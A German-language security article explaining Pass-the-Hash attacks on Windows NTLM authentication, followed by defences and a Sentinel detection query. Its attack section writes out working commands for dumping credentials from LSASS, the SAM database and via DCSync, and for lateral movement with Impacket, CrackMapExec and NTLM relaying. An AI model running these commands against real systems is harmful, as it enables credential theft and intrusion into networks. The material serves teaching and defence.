Pass-the-Hash (PtH) - Lateral Movement mit gestohlenen NTLM-Hashes
Pass-the-Hash ist eine Angriffstechnik bei der NTLM-Passwort-Hashes direkt zur Authentifizierung verwendet werden ohne das Klartextpasswort zu kennen. Ermöglicht Lateral Movement in Windows-Netzwerken. Tools: Mimikatz (sekurlsa::pth), Impacket (psexec.py, wmiexec.py), CrackMapExec. Schutz: Windows Defender Credential Guard, Protected Users Group, SMB-Signing, LAPS, Tier-Modell.
Pass-the-Hash (PtH) ist eine Angriffstechnik bei der ein Angreifer einen gestohlenen NTLM-Passwort-Hash direkt zur Authentifizierung gegenüber einem Windows-System verwendet - ohne das zugrundeliegende Klartextpasswort zu kennen. Da NTLM-Authentifizierung den Hash selbst als “Beweis” der Identität akzeptiert, ermöglicht PtH weitreichendes Lateral Movement in Windows-Netzwerken.
Wie NTLM-Authentifizierung funktioniert
Normaler Login
- Client → Server: Authentication Request
- Server → Client: Challenge (8-Byte Zufallswert)
- Client: NTLM-Hash = MD4(Passwort); Response = HMAC-MD5(NTLM-Hash, Challenge)
- Client → Server: Response
- Server prüft Response → Login OK
Pass-the-Hash
Der Angreifer hat den NTLM-Hash (aus Speicher, SAM oder NTDS.dit) und benötigt kein Klartextpasswort. Er sendet die Challenge-Response mit dem gestohlenen Hash und der Server akzeptiert sie.
Warum NTLM verwundbar ist
- Der Hash ist „äquivalent” zum Passwort
- Die Challenge wird mit dem Hash signiert → Hash = Beweis der Identität
- Kerberos ist sicherer (Ticket-System, kein Hash-Replay)
- NTLM wird in vielen Umgebungen jedoch noch genutzt
Hash-Quellen
- LSASS-Speicher: aktive Sessions (Mimikatz)
- SAM-Datenbank: lokale Accounts (
reg save HKLM\SAM) - NTDS.dit: Domain-Controller-Datenbank (DCSync)
- Netzwerktraffic: NTLM-Relay (Responder, ntlmrelayx)
Hash-Extraktion mit Mimikatz
# Schritt 1 - NTLM-Hashes aus LSASS extrahieren
# Erfordert SeDebugPrivilege / SYSTEM
# LSASS-Dump (alle aktiven Sessions):
privilege::debug
sekurlsa::logonpasswords
# Ausgabe:
# Authentication Id : 0 ; 123456 (00000000:0001e240)
# User Name : Administrator
# Domain : CORP
# NTLM : aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# └── LM-Hash (leer) ──────────────┘└── NTLM-Hash ──────────────┘
# Nur NTLM-Hashes:
sekurlsa::msv
# Kerberos-Tickets:
sekurlsa::tickets
# LSASS-Memory-Dump (ohne direkten Mimikatz-Zugriff):
# Task-Manager → Details → lsass.exe → Create Dump File
# Oder:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Dump lokal analysieren:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
# SAM-Datenbank offline:
reg save HKLM\SAM C:\sam.hive
reg save HKLM\SYSTEM C:\system.hive
# Offline-Extraktion mit Impacket:
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
# Admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0...
# DCSync (Domain-Controller imitieren):
# Alle Domain-Hashes ohne NTDS.dit-Zugriff
# Benötigt: Replication-Rechte (Domain Admin)
mimikatz# lsadump::dcsync /user:Administrator
# Oder Impacket:
secretsdump.py CORP/DomainAdmin:Password@dc01.corp.local
Lateral Movement mit PtH
# Mimikatz (PTH-Modul):
# Neue CMD mit Administrator-Kontext via Hash:
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
# → Öffnet neue Prozess-Instanz mit gestohlenem Token
# Impacket-Suite (Python, plattformübergreifend):
# PsExec via SMB:
psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
Administrator@10.0.0.1
# WMI (SMB nicht nötig):
wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
Administrator@10.0.0.1 cmd.exe
# SMBexec (kein SMBv1):
smbexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
Administrator@10.0.0.1
# CrackMapExec (Netzwerk-Scanning mit PtH):
# Hash gegen ganzes Subnetz testen:
crackmapexec smb 10.0.0.0/24 \
-u Administrator \
-H 31d6cfe0d16ae931b73c59d7e0c089c0 \
--local-auth
# Ausgabe: 10.0.0.5 SMB [+] CORP\Administrator (Pwn3d!)
# Auf allen erreichbaren Hosts Command ausführen:
crackmapexec smb 10.0.0.0/24 \
-u Administrator \
-H 31d6cfe0d16ae931b73c59d7e0c089c0 \
-x "whoami"
# NTLM-Relay (kein Hash nötig, aber verwandt):
responder -I eth0 -rdwf
ntlmrelayx.py -tf targets.txt -smb2support
# Abgefangene NTLM-Auth → relay zu anderen Hosts
Schutzmaßnahmen
1. Windows Defender Credential Guard (wichtigste Maßnahme)
Schützt NTLM-Hashes in einer Virtualized Security Environment (VSM). Nach der Aktivierung liefert mimikatz sekurlsa::logonpasswords keinen Hash mehr.
Voraussetzungen: UEFI + Secure Boot + VT-x/AMD-V + Hyper-V
Aktivierung via GPO:
Computer Config → Admin Templates → System → Device Guard
→ Turn on Virtualization Based Security: Enabled
→ Credential Guard: Enabled with UEFI lock
2. Protected Users Security Group
Mitglieder dürfen sich nicht per NTLM authentifizieren - nur Kerberos. PtH ist für diese Accounts damit unmöglich.
Add-ADGroupMember -Identity "Protected Users" -Members "Admin1","Admin2"
Vorsicht: auch Kerberos-Delegation wird deaktiviert - Kompatibilität prüfen.
3. LAPS (Local Administrator Password Solution)
Jede Workstation erhält ein eigenes zufälliges lokales Administrator-Passwort. Ein gestohlener lokaler Admin-Hash funktioniert damit nur auf einem einzigen Host. „Same Password = Lateral Movement” ist nicht mehr möglich.
4. SMB-Signing erzwingen
Verhindert NTLM-Relay (nicht direkt PtH, aber eng verwandt).
# GPO: Computer Config → Windows Settings → Security Settings
# → Local Policies → Security Options
# Microsoft network server: Digitally sign communications (always)
Set-SmbServerConfiguration -RequireSecuritySignature $True
5. Restricted Admin Mode
Remote Desktop mit Hash (PtH → RDP) ist seit Windows 8.1 standardmäßig deaktiviert. Wenn aktiviert, werden keine Credentials übertragen - kein PtH mit RDP. Der Restricted Admin Mode selbst ist jedoch ein Sicherheitsrisiko (PtH in der Session möglich).
6. Tier-Modell / Privileged Access Workstations
- Tier 0 (DC, PKI): keine reguläre Nutzung
- Tier 1 (Server): eigene Admins, kein Tier-2-Zugriff
- Tier 2 (Workstations): eigene lokale Admins
- Hash-Diebstahl auf Tier 2 ermöglicht keinen Tier-1/0-Zugriff
7. Monitoring und Detection
Relevante Windows Event IDs:
- 4624 (Logon Type 3: Network) - ungewöhnliche NTLM-Logins
- 4776 - NTLM-Authentifizierung von welchem Host?
- 4648 - Explicit Credentials (PtH-Indikator wenn anomal)
KQL-Query (Microsoft Sentinel):
SecurityEvent
| where EventID == 4624 and LogonType == 3
| where AuthenticationPackageName == "NTLM"
| summarize count() by Account, WorkstationName
| where count_ > 10 // anomale NTLM-Auth-Häufigkeit